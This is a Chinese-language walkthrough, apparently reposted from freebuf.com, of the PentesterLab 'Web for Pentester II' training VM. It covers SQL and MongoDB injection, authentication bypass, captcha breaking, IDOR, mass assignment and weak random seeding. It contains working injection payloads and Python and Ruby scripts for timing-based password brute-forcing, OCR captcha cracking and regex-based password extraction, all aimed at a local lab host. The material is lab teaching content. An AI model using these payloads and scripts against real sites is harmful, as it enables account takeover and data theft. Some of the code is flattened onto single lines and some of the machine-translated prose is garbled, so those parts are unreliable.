下载地址
https://download.vulnhub.com/pentesterlab/web_for_pentester_II_i386.iso
实战演练
使用netdiscover命令查找靶机的IP。
使用nmap查看靶机开放的端口
看来这个靶机只有web服务
SQL injections
Example 1
第一个示例是您可以找到的最常见的SQL注入示例。这里的目标是绕过身份验证页面。
此示例是绕过身份验证页面的最着名方法。它甚至被用在很多与SQL注入有关的漫画中。让我们看看会发生什么……初始查询看起来像:
SELECT * FROM users WHERE username=''' AND password='[PASSWORD]'
该[USERNAME]
和[PASSWORD]
是你的控制之下。应用程序将通过确保SQL查询返回至少一条记录来检查[USERNAME]
和[PASSWORD]
是否正确。因此,SQL注入需要确保返回至少一条记录,即使[USERNAME]
并且[PASSWORD]
不正确。
有许多方法可以执行此任务。最好的办法是在注入[USERNAME]
,因为[PASSWORD]
可散列或加密(即使它不是在这个例子中)。
首先,您需要记住OR
:
我们将使用它来确保条件始终为 – true
(1
)。我们的目标是使用[USERNAME]
注入始终true
条件,但首先我们需要使用单引号来突破SQL语法'
:
SELECT * FROM users WHERE username =''or 1 = 1'AND password ='[PASSWORD]'
查询的语法现在无效(因为有奇数引号),但我们稍后会再回过头来看。到目前为止,我们的有效载荷只是一个单引号'
,我们现在需要注入我们的始终true
条件。最简单的方法是使用or 1=1
,因为1=1
是true
条件将永远是true
。我们的查询现在看起来像:
SELECT * FROM users WHERE username='' or 1=1 ' AND password='[PASSWORD]'
查询的语法仍然不正确。这是我们注射中要解决的最后一个问题; 我们需要摆脱查询的结束。我们可以使用注释(--
或#
)来摆脱它:
SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='[PASSWORD]'
这样MySQL只会看到:
SELECT * FROM users WHERE username='' or 1=1 --
我们最终的有效载荷' or 1=1 --
。可以优化此有效负载'or 1#
以绕过某些过滤,因为MySQL将接受此语法。
如果` – `后面没有空格,那么使用`–`进行注释通常会产生问题。这就是为什么最后添加空格总是一个好主意。
Example 2
此示例与扭曲相同的漏洞。在第一个示例中,代码仅检查返回的内容。在此版本中,开发人员决定确保只存在一个用户。
要绕过此限制,您可以使用上面提到的技巧获取所有行,然后使用SQL关键字限制此数字 LIMIT
。
1' or 1=1 limit 1#
Example 3
在此示例中,了解SQL注入的风险,开发人员决定'
通过删除'
查询中的任何单引号来阻止单引号。但是,仍有一种方法可以打破SQL语法并注入任意SQL。
为此,您需要考虑查询:
SELECT * FROM users WHERE username='[username]' and password='[password]'
这里的问题是,理论上你不能打破单引号'
,因为你不能注入任何引号。但是,如果您注入反斜杠\
,则'
查询中的第二个(应该完成该字符串的那个[username]
将被转义并将被第三个(应该启动该字符串的那个)关闭[password]
。
然后,您可以使用该参数password
来完成查询并返回始终为true的语句。不要忘记注释掉查询的结尾以避免剩余的SQL代码。
Example 4
在此示例中,开发人员将部分查询直接放在参数中。它在传统的Web应用程序中确实很少见,但有时可以在Web服务中找到,特别是对于移动应用程序。您直接在WHERE
语句中注入并可以操作请求以检索您想要的任何内容。
Example 5
在此示例中,您将在关键字后面进行注入LIMIT
。在MySQL上,只有在查询中UNION SELECT...
没有ORDER BY
使用关键字时才能使用这种类型的注入 。此外,ORDER BY
关键字需要位于LIMIT
关键字之前,以使查询有效。所以你无法使用评论摆脱它。
有些方法存在利用注射在LIMIT
与 ORDER BY
使用INTO OUTFILE
或PROCEDURE ANALYSE()
,但他们有点太复杂,无法在这里找到。
如果存在`ORDER BY`关键字,则可以尝试从HTTP请求中删除相应的参数,以查看它是否允许您删除查询中的语句。
在此示例中,您可以简单地使用基于联合的利用来检索任意信息
Example 6
这是SQL注入的另一个例子,但是这次在GROUP BY
关键字之后,基于联合的利用也可以用来利用这种类型的问题。好事是ORDER BY
将位于之后GROUP BY
。所以,即使ORDER BY
使用了,你也可以使用SQL注释来摆脱它。
Example 7
在此示例中,执行两个查询。第一个查询根据参数检索用户详细信息id
; 第二个使用先前检索的记录中的用户名来检索用户。
要利用此问题,您需要使用盲SQL注入。但是,由于显示错误消息,我们可以使用基于错误的利用来获取信息。
基于错误的利用背后的想法是使用错误消息来收集信息。通过注入容易出错的语句,我们可以直接从错误消息中获取信息,而不是使用盲SQL注入。
例如,您可以使用以下语句:
extractvalue('%3Cxml%3E',concat(%22/%22,(select%20version())))
Example 8
此示例易受“二阶SQL注入”的攻击,而不是直接将有效负载注入请求,您将首先 使用第一个请求将其插入数据库,然后在第二个请求中触发有效负载。第一个请求不容易受SQL注入攻击,只有第二个请求。但是,您不直接控制使用的值; 你需要使用第一个请求注入它。此问题来自开发人员信任来自数据库的值。
每次尝试都需要两个步骤:
- 使用您的有效负载创建用户。
- 访问此用户信息以触发您的有效负载。
如果您想要高效,则需要使用简单的脚本自动执行此过程。有效负载可以像基于联合的利用一样简单。
Example 9
这个例子于2006年首次发布在Chris Shiflett的博客上作为一种绕过的方式mysql-real-escape-string
。它依赖于MySQL执行转义的方式。它取决于连接使用的字符集。如果数据库驱动程序不知道使用的字符集,它将不会执行正确的转义并创建可利用的情况。此漏洞依赖于GBK的使用。GBK是简体中文的字符集。使用数据库驱动程序和数据库不“交谈”相同字符集这一事实,可以生成单引号并突破SQL语法以注入有效负载。
使用字符串\xBF'
(URL编码为%bf%27
),可以获得不会正确转义的单引号。因此,可以使用%bf%27 or 1=1 --
并绕过身份验证来注入始终为真的条件。
作为旁注,可以通过将连接编码设置为“GBK”而不是使用SQL查询(这是此问题的根源)来解决此问题。这里的问题来自执行以下查询:
SET CHARACTER SET 'GBK';
对于Web应用程序来说这是一个非常不可能的问题,但知道它存在总是好的,特别是如果你玩CTF。
Authentication
Example 1
这个例子非常简单。只需仔细阅读提示,您应该很快。通用密码可能是绕过身份验证的最简单和最常用的方法。
密码是admin
Example 2
此示例是非时间常量字符串比较漏洞的夸大版本。如果比较两个字符串并在第一个无效字符处停止,则A
与字符串共同的前6个字符的字符串B
将比A'
仅包含与字符串共同的前2个字符的字符串花费更多时间进行比较B
。在此示例中,您可以使用此信息强制密码。
这里提示符中提供了用户名,您只需要找到密码即可。为此,您需要循环遍历所有字符,直到找到花费最多时间的字符,因为应用程序会比较另一个字符。
#payload import requests import time import string from requests.auth import HTTPBasicAuth password = ""t1 = 1dictory = string.ascii_letters+"0123456789"while True: for i in dictory: url = "http://192.168.0.104/authentication/example2/" time1 = time.time() r = requests.get(url,auth=HTTPBasicAuth("hacker", password+i )) time2 = time.time() t = time2-time1 if t > t1: t1 = t p = i if r.status_code == 200: break password = password+p print(password)
后面那几个不对的,密码是p4ssw0rd
Example 3
在本练习中,您可以登录为user1
。您的目标是以登录身份登录admin
。为此,您需要仔细查看服务器发回的响应。
您可以看到,当您登录时user1
,您会获得一个名为的cookie user1
。从中您可以轻松修改此值(使用代理或浏览器的扩展名)以登录为admin
。
Example 4
此示例与前一个示例类似。一旦您从应用程序收到cookie,总是很高兴看到它的样子。尝试使用密码破解程序破解它或尝试只谷歌它。从那以后,您应该能够为用户生成有效的cookie admin
。
如果您在登录时多次获得相同的会话ID:有问题!如果你从一个干净的浏览器登录,您应该永远不会得到相同的两次饼干。
发现他的cookie使用MD5加密用户名
Example 5
在这种情况下,Web应用程序在创建用户时它区分大小写,但数据库是信息已注册,并不假设大小写的区别。
这会产生一个缺陷,因为您可以创建一个用户Admin,数据库将该值视为admin,更新现有记录
然后,您只需使用您创建的用户登录并访问管理员帐户即可。
Example 6
为了修复上一个问题,开发人员决定在用户创建期间使用区分大小写的比较。根据MySQL执行字符串比较的方式,也可以绕过此检查:MySQL忽略尾随空格(即:pentesterlab
和pentesterlab
)。使用与上面相同的方法,您应该能够假装以用户身份登录admin
。
防止此问题的一种好方法是告诉数据库用户名是PRIMARY KEY。例如,在Tomcat文档中使用此方法将SQL后端用作Realm。
Captcha
Example 1
此脚本是严重实施的验证码的常见问题。为避免错误消息,开发人员在确保其值正确之前检查captcha参数是否存在:
但是,此示例提供了一个漏洞:如果未提供验证码,则脚本不会安全失败。
if params[:captcha] and params[:captcha] != session[:captcha] # ERROR: CAPTCHA is invalid redirect [...] end # CAPTCHA is valid [...]
Example 2
在此示例中,应用程序泄露了答案。通过检查返回的HTML页面的来源,您应该能够编写一个可以自动破解此验证码的脚本。
查看页面源代码
Example 3
在此示例中,应用程序泄露了答案。通过检查服务器发回的响应,您应该能够编写一个可以自动中断此验证码的脚本。
您还可以使用JavaScript控制台从cookie中检索验证码并调用document.cookie
:
Example 4
这是一个非常有趣的例子,因为这是我在开发这套练习时犯的错误。
在这里,您不必真正破解验证码。您只需要破解一次,您就可以重复使用相同的值和会话ID来反复执行相同的请求。当您尝试破解验证码时,请确保答案只能使用一次。您可以通过编写一个采用会话ID和参数值的脚本轻松编写此漏洞利用脚本,并一次又一次地提交它们。简单来说,就是图形验证码不会失效
Example 5
这个例子是弱点的最后一个例子,这里的弱点来自用于创建验证码的字典; 只使用了有限数量的单词。您可以通过生成所有单词列表和图像的MD5来轻松编写饼干。然后,当您想要提交表单时,您只需要检索图像,计算其MD5并提交匹配的单词。
0dayz nacher compromise pentester security vulnerablity admin
Example 6
在这个例子中,我们将使用OCR工具(Tesseract)破解这个简单的验证码。这里的目标是构建一个可以获得高成功率的脚本。
#exp import pytesseract from PIL import Image import requests import re def main(): url = "http://192.168.0.104/captcha/example6/" rs = requests.session() r = rs.get(url) html = r.text img_url = re.findall('<img src="(.*?)"/ >',html)[0] img_content = rs.get(url+img_url).content with open("test.png", "wb") as f: f.write(img_content) image = Image.open("test.png") text = pytesseract.image_to_string(image) # 使用简体中文解析图片 check_url = "http://192.168.0.104/captcha/example6/submit?captcha="+text+"&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" r1 = rs.get(check_url) print(r1.text) if __name__ == '__main__': main()
Example 7
使用GIMP查看图片的RGBA(65,105,225,225),然后写个脚本将这种颜色变成白色
import pytesseract from PIL import Image, ImageEnhance, ImageFilter import requests import re import cv2 import numpy def main(): url = "http://192.168.0.104/captcha/example7/" rs = requests.session() r = rs.get(url) html = r.text img_url = re.findall('<img src="(.*?)"/ >', html)[0] img_content = rs.get(url + img_url).content with open("test.png", "wb") as f: f.write(img_content) im = Image.open('test.png') im = im.convert('RGBA') pixdata = im.load() for y in range(im.size[1]): for x in range(im.size[0]): if pixdata[x, y][0] == 65 : pixdata[x, y] = (255, 255, 255, 255) #im.show() im.save('test1.png') image = Image.open("test1.png") text = pytesseract.image_to_string(image) # 使用简体中文解析图片 print(text) # check_url = "http://192.168.0.104/captcha/example7/submit?captcha="+text+"&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" # r1 = rs.get(check_url) # print(r1.text) if __name__ == '__main__': main()
Example 8
可以看到黑色字母的RGBA的值少于65,于是我就所以大于或等于65的R变成白色
Example 9
这道题的验证码是用算术验证码,使用python的eval函数进行计算
import pytesseract from PIL import Image, ImageEnhance, ImageFilter import requests import re import cv2 import numpy def main(): url = "http://192.168.0.104/captcha/example9/" rs = requests.session() r = rs.get(url) html = r.text suanshi = re.findall(r'(\d+.*?=)', html)[0] print(suanshi) print(eval(suanshi.replace('=',''))) # check_url = "http://192.168.0.104/captcha/example7/submit?captcha="+text+"&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" # r1 = rs.get(check_url) # print(r1.text) if __name__ == '__main__': main()
Authorization
Example 1
登录进去
随便点击一个链接,http://192.168.0.104/authorization/example1/infos/6
,注销,然后在浏览器输入这个链接,发现不用登录也可以访问资源
Example 2
在此示例中,您可以使用以下用户登录:user1
使用密码pentesterlab
。登录后,您可以开始访问信息并查看使用的模式:/infos/1
,/infos/2
。如果您继续增加URL中的数字,则可以访问其他用户的信息。
Example 3
在此示例中,您可以使用与之前看到的方法类似的方法访问信息。您不能直接访问这些信息,但是您可以看到您现在可以编辑信息,并且只需通过递增URL中的数字即可使用此功能访问其他用户的信息。
Mass Assignment
Example 1
在此示例中,您可以注册用户。该应用程序有两个级别的权限:
- 用户。
- 管理员。
使用admin
对象上的属性设置管理员权限user
。如果仔细查看Web应用程序使用的格式: user[username]
并且user[password]
,您应该能够找到获取admin
访问权限的方法。可以使用三种方法:
- 使用浏览器扩展直接修改页面。
- 保存页面并离线修改以创建将正确的有效负载发送到正确的URL的页面。
- 使用代理拦截合法请求并添加参数(最快的选项)。
Example 2
在本练习中,开发人员修复了以前的错误。您无法创建具有admin
权限的用户…或至少不能直接创建。试着找到一种方法来做同样的事情。
修改user为admin,不过下面有个超链接点击一下
进去之后像例一修改为admin
Example 3
在本练习中,您可以使用以下用户登录:user1
使用密码pentesterlab
。登录后,尝试访问公司“公司2”中的信息。
为此,您需要使用批量分配来修改您的公司。
Randomness Issues
Example 1
第一个例子就是为了说明随机是如何随机的。问题来自使用种子随机生成器。开发人员使用该值为0
随机生成器播种。
如果您只是重播脚本,您应该能够找到为管理员生成的密码admin
。
Example 2
此示例显示了随机生成器的不良播种的另一个示例。随机发生器以当前时间播种。
要以admin
密码的方式工作,您需要强制种子。为此,您可以从当前时间开始并减少它,同时重放用于生成值的算法,直到您获得密码。
获得密码后,您就会知道使用了什么种子(或者更准确地说是随机生成器初始化的时间)。然后,您可以获取admin
密码。
查了一下资料,找了一个脚本
timestamp = (Time.now.to_f).to_i seed = Random.new(timestamp) pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join while pass_hacker !="hbdgyz" do #contraseña del usuario 'hacker' timestamp = timestamp - 1 seed = Random.new(timestamp) pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join end puts "Password de admin: " puts pass_admin
Example 3
这个例子非常简单,与第一个类似。您只需重播代码即可获取admin
密码。密码长度是随机的这一事实对您可以猜测的事实没有影响。
Example 4
在这个例子中,您不知道在生成密码之前使用随机生成器的次数(因为它是一个调用而rand(1000)
不是s.rand(1000)
。您仍然可以生成以前的密码。要获得它,您只需要粗暴强制此值,直到您获得密码。
n = 1000 seed = Random.new(0) n.times {seed.rand(5)} pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join while pass_hacker !="jqcpru" do n = n - 1 seed = Random.new(0) n.times {seed.rand(5)} pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join end puts "Password de admin: " puts pass_admin
MongoDB injection
Example 1
这个例子是(in)着名的MongoDB版本' or 1=1 --
。如果你还记得你之前看过的内容,你知道你需要两件事来绕过这个登录:
- 一个永远真实的条件。
- 一种正确终止NoSQL查询的方法。
首先,通过阅读MongoDB文档,您可以发现SQL or 1=1
转换为|| 1==1
(注意双重=
)。然后通过四处搜索,您可以看到NULL BYTE将阻止MongoDB使用其余查询。您还可以使用注释//
或<!--
注释掉查询的结尾。
有了这些信息,您应该可以绕过身份验证表单。
Example 2
import cookielib, urllib2, urllib from bs4 import BeautifulSoup import urllib c = "a" link = "http://192.168.0.104/mongodb/example2/?search=admin%27%20%26%26%20this.password.match%28/"+str(c) + str("/)%00") r = urllib.urlopen(link).read() soup = BeautifulSoup(r,"lxml") print type(soup) string = soup.find_all("td") string = str(string) if len(string) > 5: foundl = 1 else :foundl = 0 l= [] cval = 1 x= 0 while cval != 128 : a="".join(chr(cval) for x in range(1)) #all chars possible print a c = a link = "http://192.168.32.129/mongodb/example2/?search=admin%27%20%26%26%20this.password.match%28/"+str(c) + str("/)%00") r = urllib.urlopen(link).read() soup = BeautifulSoup(r,"lxml") print type(soup) string = soup.find_all("td") string = str(string) #print string #print link if len(string) > 10: l.append(c) x= x + 1 cval = cval+1 print l
来源:freebuf.com 2019-08-19 20:28:39 by: 陌度
请登录后发表评论
注册